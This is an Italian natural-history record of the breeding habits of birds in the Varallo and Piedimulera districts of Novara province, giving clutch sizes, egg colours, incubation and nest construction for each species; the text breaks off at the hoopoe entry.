Excubitor. Emberiza Citrinella. Picus major. Emberiza Cirlus. Gecinus viridis. Emberiza Hortulana. Cuculus canorus. Emberiza Cia. Upupa Epopos. Anthus trivialis. Buteo vulgaris. Anthus Spipoletta. Pernis apivorus. Calobates melanope. Æsalon regulus. Saxicola Oenanthe. Columba Palumbus. Merula nigra. Turtur tenera. Turdus musicus. Elenco delle specie di uccelli le quali nidificano nella provincia di Novara, distretti di Varallo e Piedimulera, colle notizie più importanti in proposito. Corvus Corax. Nidifica una sol volta in marzo; depone da 4 a 5 uova verdastre macchiate di bruno, a brevi intervalli. L’incubazione dura dai 15 ai 20 giorni, nè vi prende parte il maschio. Non usa del medesimo nido nella stagione seguente nè lo ricostituisce parzialmente. Non varia nè modo nè forma di costruzione, alla quale prendono parte tanto il maschio quanto la femmina. Costruisce fra rocce e rupi elevate in luoghi quasi inaccessibili, il nido, che è grandissimo e si compone di ramoscelli e radici con uno strato più interno di muschi e gramigne. (Varallo). Corvus Corone. Nidifica una sol volta in aprile; depone di seguito 5 o 6 uova di color verde turchino macchiato di bruno. L’incubazione dura dai 15 ai 20 giorni, nè vi prende parte il maschio. Non usa del medesimo nido nella stagione seguente nè lo ricostituisce parzialmente. Non varia nè modo nè forma di costruzione, alla quale prendono parte maschio e femmina. Preferisce gli alberi di mezzana altezza per farvi il nido. Si compone all’esterno di ramoscelli spinosi cementati con fango; allo interno di ramoscelli esili. (Varallo). Corvus Cornix. Nidifica una sol volta in aprile; depone di seguito 5 o 6 uova di color verde turchino macchiate di bruno. L’incubazione dura dai 15 ai 20 giorni, nè vi prende parte il maschio. Non usa del medesimo nido nella stagione seguente nè lo ricostituisce parzialmente. Non varia nè modo nè forma di costruzione, alla quale prendono parte maschio e femmina. Preferisce gli alberi alti per farvi il nido. (Varallo). Nucifraga Caryocatactes. Fa due covate e depone da 4 a 5 uova. L’incubazione dura circa 15 giorni. Non usa del medesimo nido nella stagione seguente né lo ricostituisce parzialmente. Il nido è costrutto con vimini e poco fieno alla sommità di piante d’alto fusto di faggio, abete e larice. (Varallo). Pica rustica. Fa una sola covata in aprile e maggio, depone da 5 a 7 uova di un verde ceruleo con macchie brune. In caso di distruzione procede alla seconda ed anche alla terza nidificazione in cui prende pure parte il maschio. Non fa uso dello stesso nido. Non varia modo né forma di costruzione a cui concorre anche il maschio. Nidifica su alti alberi, costruendo il nido esternamente con ramoscelli cementati con argilla ed internamente con uno strato di materie soffici. Il nido è chiuso superiormente da una volta di ramoscelli ispidi o con graticolato, e non lascia che uno stretto passaggio laterale o foro nella parte meno appariscente. (Varallo). Garrulus glandarius. Fa una sola covata in aprile o maggio di 3 a 6 uova che depone successivamente, aventi color bigio olivastro. L’incubazione dura dai 15 ai 21 giorni. Non fa uso dello stesso nido. Non varia né forma né costruzione del nido e vi prendono parte tanto il maschio quanto la femmina. Comunemente nidifica sugli alti alberi annosi. Il nido è semplice ed i materiali grossolani; consiste di pochi ramoscelli frammisti a radici filiformi nell’interno. (Varallo). Pyrrhocorax alpinus. Fa una sola covata in aprile o maggio, depone da 4 a 5 uova bianche con macchie scure. L’incubazione dura dai 15 ai 20 giorni. Pare faccia ritorno al medesimo nido nella stagione seguente e lo ricostituisca interamente usando dei materiali del vecchio nido. Non varia né forma né costruzione del nido e vi prendono parte tanto il maschio quanto la femmina. Nidifica nelle anfrattuosità delle rupi scoscese. (Varallo). Sturnus vulgaris. Fa due e talvolta tre covate in aprile maggio e giugno, depone da 4 a 6 uova per nidiata color verde mare. Il maschio prende parte alla costruzione del nido ed all’incubazione. Usa tanto del nido altrui quanto di quello che costruisce. La costruzione che fa è assai imperfetta, consistendo in un ammasso di foglie, fieno e muschi. Nidifica nei fori degli alberi, ma più comunemente nelle colombaie e nelle buche delle vecchie fabbriche, sui tetti delle case. (Varallo). **Fringilla coelebs.** Comunemente fa una sola covata in maggio o giugno, deponendo 5 o 6 uova bigie rossastre con macchie scure specialmente all’estremità più ottusa. Ne depone una al giorno. Il maschio sorveglia l’incubazione, ma non vi prende parte; essa dura dai 15 ai 20 giorni. Non fa uso del medesimo nido, né vi fa ritorno nella stagione seguente. Non varia né il modo né la forma di costruzione alla quale prendono parte maschio e femmina. Il nido viene fatto tanto su alberi alti, quanto sui bassi purchè fronzuti, e nella biforcazione dei rami in posizione nascosta; è elegante di forma e di costruzione; vien fatto con fili d’erba, di canape e di corteccie, con sottili radici abilmente intessute fra loro nella parte esterna, e nell’interna con denso strato di crini. Ai fianchi scoperti del nido appicica dei licheni che trovansi sulla corteccia dell’albero in cui lo costruisce. (Varallo). **Fringilla Montifringilla.** Nidifica una sola volta in maggio o giugno, depone da 4 a 5 uova grigiastre con macchie brune. Il maschio non prende parte all’incubazione. Non fa nuovo uso dello stesso nido. Non varia modo né forma di costruzione alla quale lavorano maschio e femmina. Nidifica di preferenza sugli alti monti ed in boschi di piante conifere. Il nido è formato all’esterno da muschi e rivestito all’interno con crini, lana e penne. (Varallo). **Passer Italiae.** Fa due o tre covate nei mesi di maggio giugno e luglio, depone da 5 a 6 uova, una al giorno, per covata. Le uova sono bianchiccie coperte da piccole macchie oblunghe turchiniccie e brune. All’incubazione prende parte anche il maschio. Questa specie non sempre costruisce il nido, ma ora si serve di quelli delle colombaie, ora di quelli del *Cypselus Apus* col quale sostiene lotte accanite per il possesso. Ogni qualvolta si serve del nido già costrutto da lui o da altre specie vi apporta alcune modificazioni ed aggiunte per maggior pulitezza ed adattamento alla incubazione. La costruzione varia a seconda de’ luoghi in cui vien fatta, e vi prendono parte maschio e femmina. Nidifica sotto i tetti e nelle colombaie e talvolta anche nei buchi delle piante nel quale caso le uova sono più arrotondate. Costruisce il nido con fieno e lo riveste internamente con cenci, lana e penne. (Varallo). *Coccothraustes vulgaris*. Fa una sola covata nel maggio di 4 a 6 uova biancastre e picchiettate di bruno. Non fa uso dello stesso nido nè vi ritorna nella susseguente stagione. Non varia modo, nè forma di costruzione del nido, e vi prendono parte maschio e femmina. Nidifica sugli alberi nell’inserzione dei grossi rami. Costruisce il nido con fuscelli e radici. (Varallo). *Ligurinus Chloris*. Fa una sola covata nel maggio di 5 a 6 uova bianche verdastre macchiate di rosso bruno. Il maschio prende parte all’incubazione. Non fa ritorno allo stesso nido. Il colore delle uova può dirsi protettivo partecipando in gran parte al colore complessivo della pianta su cui posano. Nella costruzione del nido non varia la forma. Per la nidificazione preferisce le piante a foglia persistente e le conifere. Il nido consta all’esterno di fuscelli e filamenti erbosi e muschi, ed all’interno di crini, lana e penne; è posto sui primi rami del tronco. (Varallo). *Chrysomitris Spinus*. Pare nidifichi sugli alti monti dei distretti di Varallo e di Piedimulera poiché l’osservatore signor Guarinoni assicura averne veduto il 20 agosto 1884 un branco di 5 novelli poco sopra il paese di Doccio. Carduelis elegans. Secondo la riuscita fa una, due ed anche tre covate nei mesi di maggio, giugno e luglio. La prima covata è di 5 uova, le altre di 4 od anche di 3; le uova sono macchiate di bruno rossastro verso l'estremità più grossa. Il maschio prende parte all'incubazione. Non fa uso dello stesso nido nè vi ritorna. Nella costruzione del nido non varia la forma; lo costruisce sugli alberi di media grandezza, e preferisce a tal nopo le piante conifere. Esso è di forma emisferica tessuto esternamente di fuscelli, radichette e steli di erbe filiformi con molta arte, e nello interno con sostanze lanuginose. (Varallo). Serinus hortulanus. Fa una sola covata in maggio o giugno di 4 o 5 uova biancastre con sfumatura cenericcia che sull'estremità più grossa presenta poche macchie bruno-rossiccie miste a tratti di rosso scuro. Non fa uso dello stesso nido, nè vi fa ritorno. Non varia la forma di costruzione del nido, e vi prendono parte maschio e femmina. Presceglie le piante fruttifere per la costruzione dal nido che vien fatto con molta cura; esternamente è costituito di sottili fuscelli internamente di lanuggine. (Varallo). Pyrrhula europaea. Fa una sola covata in maggio o giugno di 5 o 6 uova bianche azzurrognole volgenti al verdastro con macchie brune e violacee. Il maschio non prende parte alla incubazione che dura circa 15 giorni; la femmina depone le uova consecutivamente una per giorno. Non fa uso dello stesso nido, nè vi ritorna nella stagione seguente. Non varia il modo e la forma del nido, che vien costrutto dalla sola femmina impiegandovi circa dieci giorni. Nidifica sugli alti alberi e nei cespugli. Il sott'Ispettore di Varallo ne raccolse uno nel maggio 1886 in un giardino di Rassa a circa 800 metri sul livello del mare; trovavasi ad un metro e mezzo d'altezza su di una pianticella di Buxus sempervirens. Il nido è semplice, esternamente è composto di radici filiformi o fuscelli intessuti fra loro; internamente di radici più sottili e crini. Il tutto è sostenuto da un palchetto di fuscelli disposti l’uno su l’altro a croce e poggianti sulle biforcazioni dei rami. (Varallo). **Emberiza Citrinella.** Fa una sola covata da maggio alla metà di giugno, deponendo consecutivamente 4 o 5 uova a fondo bianco, macchiate di diversi colori e specialmente di bruno. Il maschio non prende parte all’incubazione. Non fa uso dello stesso nido nè vi ritorna nella susseguente stagione. Varia la costruzione del nido secondo il luogo ove lo costruisce, usando maggior cura se lo fa sui bassi rami di un cespuglio. Usualmente è posto sul terreno, nel folto dell’erba e nei cespugli. Esternamente è costituito di fieno e radici; internamente di radicelle, lana e penne. Trovasi quasi sempre allo scoperto. (Varallo). **Emberiza Cirlus.** Fa una sola covata dal maggio al giugno, deponendo 4 o 5 uova di un bianco perlato con macchie, punti e strisce rosso-bruno scure. Non fa uso dello stesso nido. Non varia il modo di costruzione nè la forma del nido, posto a terra fra cespugli, di forma assai elegante, intessuto all’esterno con foglie di edera e di quercia e di delicata borraccina, ed allo interno con minute pagliuzze e radichette. (Varallo). **Alauda arborea.** Comunemente fa due covate dal marzo al luglio di 4 o 5 uova, rossiccio grigie macchiate di bruno, che sono deposte consecutivamente. L’incubazione dura circa 10 giorni, e non vi prende parte il maschio. Non fa uso dello stesso nido che per una sola covata. Tiene lo stesso modo di forma e di costruzione del nido, e vi prende parte il maschio. Il colore delle uova può dirsi protettivo per la somiglianza all’ambiente in cui sono deposte. Nidifica a terra nei campi a ridosso di una zolla; usa poche erbe e paglia. (Varallo). **Alauda arvensis.** Comunemente fa due covate dal marzo al luglio di 4 o 5 uova rossiccio grigie macchiate di bruno che sono deposte consecutivamente. L'incubazione dura circa 10 giorni, e non vi prende parte il maschio. Non fa uso dello stesso nido che per una sola covata. Tiene lo stesso modo di forma e di costruzione del nido, e vi prende parte il maschio. Il color delle uova può dirsi protettivo per la somiglianza all'ambiente in cui sono deposte. Il nido è fatto con poche erbe e paglia in una piccola incavatura del terreno, senz'arte, e nascosto con cura. (Varallo). Galerita cristata. Comunemente fa due covate dal marzo al luglio di 4 o 5 uova rossiccio grigie macchiate di bruno, che sono deposte consecutivamente. L'incubazione dura circa 10 giorni, e non vi prende parte il maschio. Non fa uso dello stesso nido che per una sola covata. Tiene lo stesso modo di forma e di costruzione del nido, e vi prende parte il maschio. Il color delle uova può dirsi protettivo per la somiglianza all'ambiente in cui sono deposte. Nidifica come le precedenti al piede di un cespuglio, di una zolla erbosa e specialmente nell'impronta del piede dei bovini, preferendo le località prossime alle strade. Il nido è rozzamente intessuto di fieno. (Varallo). Anthus pratensis. Nidifica sui monti e al piano deponendo le uova vicino a ruscelli e paludi in buchi o sotto i cespugli. (Piedimulera). Budytes flavus. Nidifica deponendo le uova in buchi scavati nella terra. Fa due covate di 4 o 5 uova ciascuna. (Piedimulera). Motacilla alba. Fa due covate di 4 a 6 uova bianche azzurrognole sparse di molti punti cenericci scuri. Il maschio non prende parte all'incubazione che dura circa 15 giorni. Nidifica dall'aprile al luglio e depone le uova una al giorno. Spesso fa uso del medesimo nido, riattando con aggiunta di materie nuove. La costruzione non varia, ma la forma è diversa a seconda dei luoghi in cui fabbrica il nido, alla cui costruzione lavorano tanto il maschio quanto la femmina. Nidifica presso i fiumi e predilige i fori dei fabbricati e i tetti delle case. Costruisce il nido con paglia, fieno a radici rivestendolo internamente di lana e peli. (Varallo). **Calobates melanope.** Comunemente fa due covate dal marzo al giugno di 4 a 6 uova ciascuna, bianche o leggermente rossastre sparse di lineette e di punti bigi rossastri appena visibili. Pare che all’incubazione prenda parte anche il maschio. Non fa uso del medesimo nido. La costruzione, non la forma, è sempre uguale. Nidifica tra i sassi e sul terreno, preferibilmente presso qualche corrente d’acque, costruendo con radiche, paglia e foglie. (Varallo). **Saxicola Oenanthe.** Costruisce il nido in mezzo ai cespugli con sostanze morbide. Le uova in numero di 4 di color celeste si schiudono dopo 15 giorni d’incubazione. (Varallo). **Monticola saxatilis.** Nidifica in maggio o giugno; fa una sola covata di 3 a 4 uova di colore azzurro, deposte di seguito. L’incubazione dura circa 15 giorni. Il 27 luglio il sotto Ispettore di Varallo raccolse nei pascoli di Campollo a 2000 metri sul livello del mare un individuo della specie non peranco capace di nutrirsi da sè. Non fa uso dello stesso nido. Non varia forma nè modo di costruzione e vi prendono parte maschio e femmina. Il nido è greggio e semplice. Si compone di radici e filamenti erbacei; presceglie le concavità in località dirupate e frastagliate da sporgenze rocciose. (Varallo). **Monticola Cyanus.** Fa una sola covata in aprile e maggio di 5 o 6 uova di color verdastro celestognolo deposte di seguito. Non fa uso dello stesso nido. Non varia il modo di costruzione, nè la forma del nido che vien fatto dal maschio. Per la costruzione del nido sceglie a preferenza le località fuor di mano in montagna ove le rupi scoscese offrono ogni sicurezza. Nidifica anche sui camini isolati in alto, sul vertice delle torri isolate, sui campanili, nei burroni; costruisce usando fili d’erba e penne. (Varallo). Merula nigra. Nidifica dal marzo all’agosto allevando due ed anche tre covate all’anno, deponendo di seguito da 3 a 6 uova per covata verdi bleu con macchie rugginose. L’incubazione segue senza il concorso del maschio e dura circa 15 giorni. Usa diverso nido ogni covata. Non varia il modo nè la forma di costruzione del nido e vi prende parte il solo maschio. Nella prima covata colloca il nido presso terra nel cavo delle cappaie o nei cespugli. Nella seconda e terza covata sugli alberi di mezzana altezza, e sui capitozzi, ma sempre là dove il fogliame presta maggior riparo. Il nido è costituito all’esterno di muschi, licheni, felci e foglie, nel mezzo da uno strato di radichette ripiegate ed intessute fra loro a cocchio e cementate con argilla; all’interno di radichette più sottili e di muschi. (Varallo). Merula torquata. Fa una sola covata dal maggio al luglio, deponendo 5 o 6 uova biancastre macchiate di bruno rossiccio. Non ritorna al medesimo nido; questo è costruito dal solo maschio a terra fra i cespugli. Pel resto e per la forma segue il metodo del suo congenere antecedente. (Varallo). Turdus pilaris. Non si è trovata questa specie a nidificare. Persone degne di fede hanno però assicurato il sotto Ispettore di Varallo che in Valsesia nidifica, ma di rado ai monti, e che vi fa una sola covata di 6 uova color celestino punteggiato in rosso. (Varallo). Turdus musicus. Fa due covate specialmente quando non riesce la prima, depone 5 o 6 uova nella prima covata di color bleu carico macchiata di scuro segnatamente nel vertice più ottuso. La seconda covata è di minor numero di uova. La nidificazione avviene dall’aprile al luglio. Il maschio non piglia parte all’incubazione. Varia il nido ad ogni covata, e ad ogni stagione. Non varia la forma della costruzione del nido ed è fatto dal solo maschio. Costruisce il nido sui faggi, abeti e larici adulti e nidifica pure nei cespugli. Il nido di forma emisferica è costruitto con fieno, muschi, licheni, pagliuzze e radici, rivestito internamente d'intonaco misto di terra e di materie organiche. (Varallo). *Turdus viscivorus*. Questa specie fa una ed anche due covate all'anno, deponendo 4 o 5 uova bianco-verdastre macchiate di bruno. Nidifica dal marzo al giugno; il maschio non piglia parte alla incubazione che dura da 15 a 20 giorni. Varia nido ad ogni covata e non ne fa uso nella stagione susseguente. Non varia modo nè forma nella costruzione del nido alla quale lavorano il maschio e la femmina, da 5 a 7 giorni. Nidifica sulle piante d'alto fusto ad una altezza di 6 a 10 metri ed in ispecie sui larici e faggi ben ramificati. Il nido alquanto più grande, è nella forma e nei materiali uguale a quello del suo congenere antecedente. (Varallo). *Aëdon Luscinia*. Nidifica in maggio. Fa una sola covata di 4 o 6 uova olivastre scure che depone consecutivamente. L'incubazione dura circa 15 giorni ed avviene unicamente per cura della femmina. Non usa del medesimo nido nella susseguente stagione. Non varia modo nè forma nella costruzione del nido, fatta dal maschio e dalla femmina. Nidifica di preferenza sui rami bassi di bosco folto in vicinanza ad acqua e nelle siepi o sui cespugli presso terra, componendo il nido con radici filiformi e foglie che intreccia insieme. (Varallo). *Erithacus Rubecula*. Nidifica dalla fine di aprile a tutto luglio; fa una ed anche due covate di 5 o 6 uova ciascuna gialliccie con macchie rossastre. All'incubazione prende parte anche il maschio. Non usa del medesimo nido ad ogni covata. Non varia modo di costruzione nè forma del nido, e vi piglia parte il maschio. Nidifica nei cespugli presso terra, talora anche nei buchi dei muri; costruisce con muschi, foglie e crini. Nasconde il nido con foglie che ammassa intorno lasciando il solo spazio per penetrarvi. (Varallo). Cyanecula Wolfi. Non si poté accertare la nidificazione di questa specie. Il sotto Ispettore di Varallo fu però assicurato che in Valsesia nidifica qualche volta facendo una sola covata di 6 uova di color bianchiccio, deposte di seguito e che costruisce il nido in siti umidi o presso correnti d’acqua con fieno all’esterno e materie lanuginose e peli all’interno. (Varallo). Ruticilla titys. Nidifica dall’aprile al luglio e fa due covate, depone da 5 a 6 uova bianche, una al giorno. L’incubazione dura non meno di 15 giorni e non vi prende parte il maschio. Usa talvolta del medesimo nido tanto per una seconda covata quanto col farvi ritorno nella stagione seguente. Quando usa dello stesso nido lo riatta parzialmente ed anche intieramente nel qual caso gli dà diversa direzione. Pare non vari modo e forma di costruzione, ma ne varia la posizione e direzione in caso di diverse covate nel medesimo nido. Nidifica specialmente nell’alta Valsesia (Alagna, Riva Valdobbia, Campertogno, Rassa, Rimella, Fobello, Carcofaro, Binasco e Rima San Giuseppe) nelle case. Nei detti paesi si ha per questa specie un vero e religioso rispetto, attribuendo alla sua nidificazione, nelle case in cui avviene, un augurio di prosperità e di allontanamento di sventure per la famiglia che vi abita. Il nido è un denso feltro di radici, filamenti di erbe e muschi intrecciati tra loro in forma di solido parallelepipedo incavato nel mezzo a forma di coppa. Lo varia però a seconda delle condizioni del luogo che presceglie. (Varallo). Pratincola Rubicola. Nidifica dal maggio all’agosto e fa una sola covata di 5 o 6 uova verdastre punteggiate rosso mattone. Il maschio non piglia parte all’incubazione. Non ritorna al medesimo nido. Non varia modo nè forma di costruzione del nido. Costruisce nei siti incolti al piede di un cespuglio e sotto le radici del medesimo lo nasconde. È costituito di paglia, crini e lana. La femmina contribuisce col colore delle penne superiori a nasconderlo ed a confonderlo col colore dell'ambiente. (Varallo). **Pratincola Rubetra.** Fa una sola covata, deponendo in maggio da 6 a 7 uova color celeste verdognolo. Il maschio non prende parte all'incubazione. Non ritorna al medesimo nido. Non varia modo né forma di costruzione. Costruisce il nido nei siti incolti al piede di un cespuglio e sotto le radici del medesimo lo nasconde. È costituito di paglia, crini e lana. La femmina contribuisce col colore delle penne superiori a nasconderlo ed a confonderlo col colore dell'ambiente. (Varallo). **Monachus Atricapillus.** Comunemente non fa che una covata in maggio o giugno di 5 o 6 uova quasi sferiche, bianco giallastro sfumato macchiate di scuro. Alla incubazione prende parte attiva anche il maschio. Non ritorna al medesimo nido. Non varia modo né forma di costruzione e vi piglia parte anche il maschio. Nidifica nei giardini e nei boschi cedui. Il nido è posto vicino a terra in luogo diligentemente nascosto dalle foglie. È composto di filamenti erbacei e di foglie. (Varallo). **Phylloscopus sibilator.** Fa una covata dal maggio a giugno, depone da 4 a 6 uova e all'incubazione prende parte anche il maschio. Non ritorna al medesimo nido. Non varia modo né forma di costruzione e vi prendono parte maschio e femmina. Nidifica nei boschi cedui e nei castagneti, a terra. Il nido è semplice, nascosto fra il muschio e l'Erica dove questa cresce abbondante. Il nido è costrutto con filamenti d'erba, muschi e qualche piuma; ha forma di borsa, con ristretta apertura d'accesso. (Varallo). **Troglodytes parvulus.** Fa due covate di 6 a 8 uova bianche, finamente punteggiate di bruno scuro, specialmente verso l'estremità più ottusa. La prima covata avviene dall'aprile al giugno, la seconda dal giugno all'agosto; l'incubazione dura circa 15 giorni e pare non vi prenda parte il maschio. Non ritorna al medesimo nido. Non varia modo di costruzione, ma è costretto a variare la forma e la dimensione a seconda dei luoghi che ha prescelti. Il maschio prende parte attiva alla costruzione. Nidifica fra le grosse radici delle ceppaie, sotto i tetti delle case alpestri e delle capanne fra erbe e muschi. Costruisce il nido in forma di borsa rotonda voluminosa, ammassando muschi che informemente unisce; lascia una piccola apertura laterale, e nell'interno lo guarnisce di piume. (Varallo). *Cinclus aquaticus*. Fa una ed anche due covate e depone da 5 a 6 uova bianche. Il maschio non prende parte all'incubazione. Non usa che una sol volta del nido. Non varia il modo nè la forma di costruzione che vien fatta tanto dal maschio che dalla femmina. Costruisce a terra lungo i fiumi ed i torrenti, in ispecie dietro piccole cascate, con muschi e fogliuzze solidamente intrecciate all'esterno; ed all'interno con sottili filamenti erbacei. Ha la forma quasi sferica con apertura laterale. (Varallo). *Accentor collaris*. Fa una sola covata dal maggio all'agosto di 5 a 6 uova bianche a punti scuri. Non ritorna al medesimo nido. Non varia il modo nè la costruzione del nido, alla quale piglia parte anche il maschio. Costruisce a terra nei pascoli perenni e cespugliati. (Varallo). *Regulus cristatus*. Fa due covate da marzo a tutto luglio, depone da 5 a 10 uova bianco rosate o bigie, con qualche punto rossiccio poco apparente. All'incubazione non prende parte il maschio. Non ritorna al medesimo nido. Non varia il modo nè la forma della costruzione, alla quale piglia parte anche il maschio. Costruisce sugli abeti e anche a terra tra i cespugli di *Alnus*. Il nido è di forma sferica con piccola apertura laterale; fatto di muschi esternamente e di piume e lana internamente. (Varallo). *Acredula rosea*. Nidifica una sola volta, deponendo 14 o 15 uova bianco-cineree con punti di color mattone. Non ritorna al medesimo nido. Non varia il modo né la forma della costruzione, alla quale piglia parte anche il maschio. Nidifica sugli alberi a circa metà altezza. Il nido è costrutto con special cura a forma di borsa cilindrica con due aperture laterali; è fatto con licheni e muschi all'esterno, pelurie e penne all'interno; viene solidamente attaccato ad uno o più rami. (Varallo). **Parus major.** Fa varie covate, deponendo consecutivamente 8 a 12 uova, bianche macchiata di rosso. Nidifica dall'aprile al luglio. Il maschio non piglia parte alla incubazione che dura non più di dodici giorni. Pare che talvolta usi del medesimo nido e solamente lo riatti con qualche aggiunta. Non varia il modo né la forma della costruzione del nido, alla quale piglia parte anche il maschio. Nidifica nei fori degli alberi e nelle fessure delle muraglie. (Varallo). **Parus ater.** Nidifica nelle abetaie della Valsesia settentrionale dall'aprile al luglio, allevando più di una covata. **Cyanistes caeruleus.** Nidifica in Valsesia, ma non si hanno notizie intorno al modo della nidificazione. **Poecele palustris.** Fa una e qualche volta due covate dall'aprile al luglio, deponendo 14 o 15 uova, bianco-cineree con punteggiature di color rossiccio più ravvicinate verso la parte ottusa. **Lophophanes cristatus.** Nidifica in Valsesia a circa 1200 metri sul livello del mare; ma non si hanno notizie intorno al modo della nidificazione. **Sitta cæsia.** Nidifica una sola volta, deponendo da 5 a 7 uova di color biancastro, punteggiate di rosso. Il maschio non prende parte all'incubazione. Non fa ritorno al medesimo nido. Non varia il modo né la forma della costruzione. Nidifica nelle cavità degli alberi, allargando l'apertura col becco se è troppo stretta, o restringendola con mota se è troppo larga. Per materiali si serve di muschi e di detriti vegetali. (Varallo). **Certhia familiaris.** Fa una o anche due covate di 6 o 7 uova bianche macchiate di rosso, dall’aprile al luglio. Il maschio non partecipa all’incubazione. Non fa ritorno al medesimo nido. Non varia il modo nè la forma della costruzione. Fa il nido ne’ fori degli alberi. (Varallo). **Certhia brachydactyla.** Fa una e anche due covate di 6 o 7 uova bianche macchiate di rosso, dall’aprile al luglio. Il maschio non partecipa all’incubazione. Non torna al medesimo nido. Non varia il modo nè la forma della costruzione. Fa il nido ne’ fori degli alberi. (Varallo). **Oriolus Galbula.** Non fa che una sola covata di 4 o 5 uova bianche con macchie nerastre. Il maschio non prende parte all’incubazione. Non torna al medesimo nido. Non varia il modo e la costruzione del nido a cui concorre anche il maschio. Nidifica nella biforcazione dei rami degli alberi. Forma un contorno al nido, allacciando i rami con foglie, e lo intesse a forma di borsa il cui interno è reso soffice con muschi e filamenti erbacei. (Varallo). **Lanius minor.** Fa una sola covata nel maggio o giugno, di 6 o 7 uova bianche con macchie bigio-sbiadite. Non ritorna al medesimo nido. Non varia modo nè forma della costruzione. Predilige le località dove sono alti alberi, specialmente pioppi, sui quali ama costruire il nido con steli d’erbe e radici filiformi allo esterno, con muschi e la lanugine di cui sono circondati i semi di pioppo all’interno. (Varallo). **Lanius Collurio.** Fa una e talvolta due covate dal maggio all’agosto di 6 o 7 uova bianche carnicine, macchiettate di bruno rossastro, e ne depone una al giorno. Non ritorna al medesimo nido. Non varia modo, nè forma di costruzione e vi lavorano maschio e femmina. Preferisce costruire nelle fitte ed alte siepi di campagna e qualche volta tra i filari delle viti; adopera radichette finissime, steli erbosi, muschi, licheni e lanugine. (Varallo). **Lanius auriculatus.** Fa una sola covata dal maggio al luglio di 5 o 6 uova biancastre, picchiettate di bruno o rossastro, specialmente alle estremità. Non ritorna al vecchio nido. Non varia modo né forma di costruzione e vi lavorano maschio e femmina. Costruisce di preferenza nei frutteti e nei vigneti. In quanto alla forma e ai materiali non diversifica dal suo congenere precedente. (Varallo). **Muscicapa collaris.** Fa una sola covata in maggio di 5 o 6 uova di color celeste sbiadito. Non varia modo né forma di costruzione del nido e vi lavorano maschio e femmina. Costruisce nella cavità degli alberi ed a marcatà profondità, con sottili pagliuzze, radichette e steli. (Varallo). **Muscicapa Atricapilla.** Comunemente non fa che una covata in maggio di 5 o 6 uova. Il maschio non prende parte alla incubazione. Non ritorna al medesimo nido. Non varia il modo e la forma del nido, alla di cui costruzione prende parte il maschio. (Varallo). **Hirundo rustica.** Comunemente fa due covate la prima in aprile e la seconda in giugno; e depone nella prima covata 5 uova, nella seconda 3, di colorito roseo o bianco sudicio con punti or bruni, or rossastri, or violacei. Qualche volta fa una terza covata. Il maschio non prende parte all’incubazione. Usa dello stesso nido sia nella stessa stagione che nella successiva, raffazzonandolo con fango e paglia. Il modo di costruzione è sempre uguale e vi prende parte anche il maschio. Nidifica sotto le tettoie, le torrette dei camini e sotto le grondaie e porticati. Costruisce con fango commisto a paglia esternamente, internamente con penne e fiemo. (Varallo). **Chelidon urbica.** Fa due covate e lo stesso numero d'uova della precedente specie. All’incubazione non solo un maschio ma vari maschi prendono parte. Nidifica nelle epoche sovra indicate per la *Hirundo rustica*. Usa dello stesso nido sia nella stessa stagione che nella successiva, raffazzonandolo con fango e paglia. Il modo di costruzione è sempre eguale e vi prende parte anche il maschio. Nidifica sotto i cornicioni delle case, delle chiese e campanili di preferenza, talora anche sotto i porticati e le loggie in legno e nei crepacci delle rocce. Il nido consta di materiali eguali a quelli della specie precedente, ma è più piccolo e più chiuso nella parte superiore. Nidifica a maggior altezza di quella scelta dalla precedente specie. *Cypselus Apus*. Fa più covate di 3 o 4 uova bianche dall’aprile alla metà di luglio. Pare che il maschio non prenda parte all’incubazione. Fa soventi ritorno allo stesso nido che riordina. Non varia il modo di costruzione, ma variano le dimensioni del nido a seconda delle esigenze locali, nelle uccelliere omette di costruirlo, essendogli apprestato dalla mano dell’Uomo. Nidifica nelle torri, nelle muraglie e sotto le grondaie e nelle uccelliere o passeraie che in Valsesia appositamente gli si costruiscono per trarne profitto. Nel caso che il nido non gli venga apprestato, lo costruisce con pagliuzze, radichette e simili materie, cementandole con sostanza di un lucido marmoreo che appresta nella bocca. (Varallo). *Caprimulgus europaeus*. Deposita a terra quasi senza comporre nido, ai piedi di un albero, due uova dal maggio all’agosto. Le uova sono un poco più grosse di quelle del Merlo e alquanto più brune. Il maschio non prende parte all’incubazione. (Varallo). *Dryocopus martius*. Fa una sola covata in aprile o maggio di 3 uova bianco-lucide senza macchie. Non torna al medesimo nido. Non varia modo né forma di costruzione. Presceglie le piante d’alto fusto di faggio, di abete ed anche di castagno in luoghi elevati e che siano internamente cariate o vuote. Vi introduce foglie e muschi con cui forma una specie di letto per le uova. (Varallo). *Picus major*. Depone ne’fori degli alberi da 4 a 6 uova d’un bianco puro. All’incubazione concorre il maschio. Non torna al medesimo nido. Non varia il modo né la forma di costruzione; forma il nido specialmente nelle cavità naturali o fori già fatti ed usati da altri Picchi. Sceglie a preferenza le piante di faggio. (Varallo). **Picus medius.** Depone ne’fori degli alberi da 4 a 6 uova d’un bianco puro. All’incubazione concorre il maschio. Non torna al medesimo nido. Non varia il modo né la forma di costruzione; predilige le cavità naturali o fori già fatti ed usati da altri Picchi, a preferenza sulle piante di faggio. (Varallo). **Picus minor.** Depone ne’fori degli alberi da 4 a 6 uova d’un bianco puro. All’incubazione concorre il maschio. Non torna al medesimo nido. Non varia il modo né la forma di costruzione; predilige specialmente le cavità naturali o fori già fatti ed usati da altri Picchi; a preferenza sulle piante di faggio (Varallo). **Gecinus viridis.** Fa una sola covata dall’aprile a tutto giugno di 5 ad 8 uova perfettamente bianche. Il maschio non prende parte alla incubazione. Torna al nido proprio o a quello dei suoi affini, ma non sempre. Non varia il modo né la forma di costruzione del nido. Nidifica ne’fori degli alberi. (Varallo). **Iynx Torquilla.** Depone una sola covata in maggio di 6 uova bianco-avorio, un uovo al giorno senz’interruzione. Il maschio non concorre all’incubazione. Non torna al medesimo nido. Non varia modo né forma di costruzione del nido. Preferisce i fori naturali che si trovano nel pioppo e nel salcio ove fabbrica il nido senz’alcuna arte. (Varallo). **Cuculus canorus.** A questa specie non si può assegnare un preciso numero di uova, le depone nei nidi altrui ad intervalli. Variano poi assai di colore: se ne trovano di rossiccie, verdastre, turchiniecie, talvolta macchiate, talvolta lineate di color rossastro, olivastro, bruno. La deposizione delle uova avviene dalla metà di maggio al luglio. **Alcedo Ispida.** Depone una sola covata dall’aprile al luglio, di 8 a 10 uova quasi rotonde, bianco-lucide. Il maschio non prende parte all'incubazione. Non fa nido. Preseglie i fori profondi che si manifestano nelle ripe terrose e corrosi da corsi d'acqua lungo i fiumi, torrenti e ruscelli. (Varallo). **Upupa Epopis.** Nidifica di rado nel distretto; 